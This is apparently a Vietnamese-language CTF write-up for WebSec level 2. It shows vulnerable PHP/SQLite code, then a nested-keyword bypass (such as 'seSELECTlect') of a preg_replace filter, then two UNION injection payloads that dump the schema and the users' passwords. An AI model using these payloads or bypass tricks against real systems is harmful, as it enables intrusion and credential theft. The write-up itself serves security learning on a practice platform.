[WebSec] Level 2

https://websec.fr/level02/index.php

Information Gathering

Main info

Challenge này cũng giống tương tự như Level 1. Tuy nhiên, có thêm 1 hàm preg_replace() để filter các từ như union, order, select, from, group, by.

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
ini_set('display_errors', 'on');

class LevelTwo {
public function doQuery($injection) {
$pdo = new SQLite3('leveltwo.db', SQLITE3_OPEN_READONLY);

$searchWords = implode (['union', 'order', 'select', 'from', 'group', 'by'], '|');
$injection = preg_replace ('/' . $searchWords . '/i', '', $injection);

$query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1';
$getUsers = $pdo->query ($query);
$users = $getUsers->fetchArray (SQLITE3_ASSOC);

if ($users) {
return $users;
}

return false;
}
}

if (isset ($_POST['submit']) && isset ($_POST['user_id'])) {
$lt = new LevelTwo ();
$userDetails = $lt->doQuery ($_POST['user_id']);
}
?>

Quan sát thấy dòng 11, sử dụng query nối chuỗi bởi biến $injection. Từ chỗ này, mình có thể ngắt query và chèn payloads của mình vào để khai thác.

Hoặc mình nhập vào dấu ' thì trang web sẽ báo lỗi như hình dưới, từ đó mình xác định được lỗi SQLi.

Error


Exploit

Đầu tiên phải xác định được query select mấy cột.

Nhìn vào query dòng 11 mình xác định 2 cột được selectidusername.

Mình có thể xác định cấu trúc sql được dùng bằng cách.

1
select sql from sqlite_master;

Tuy nhiên, nếu dùng các từ khoá như select, from, … thì sẽ bị replace thành kí tự trống (là bị xoá mất luôn).

1
2
$searchWords = implode (['union', 'order', 'select', 'from', 'group', 'by'], '|');
$injection = preg_replace ('/' . $searchWords . '/i', '', $injection);

Để bypass hàm preg_replace() trong trường hợp trên thì mình dùng phương pháp REPLACED KEYWORDS.

Ví dụ: seSELECTlect sau khi qua preg_replace()select.

Tương tự với các từ khoá cần dùng mà bị replace thì cứ áp dụng vào.

Check sql struct

1
1 and 1=2 unUNIONion seSELECTlect sql,2 frFROMom sqlite_master--

Sql Struct

Bước cuối cùng chỉ cần lấy flag là xong.

1
1 and 1=2 unUNIONion seSELECTlect username,password frFROMom users-- 

Flag


[WebSec] Level 2
https://dovankha.github.io/2022/08/05/lv2/
Author
Khado
Posted on
August 5, 2022
Licensed under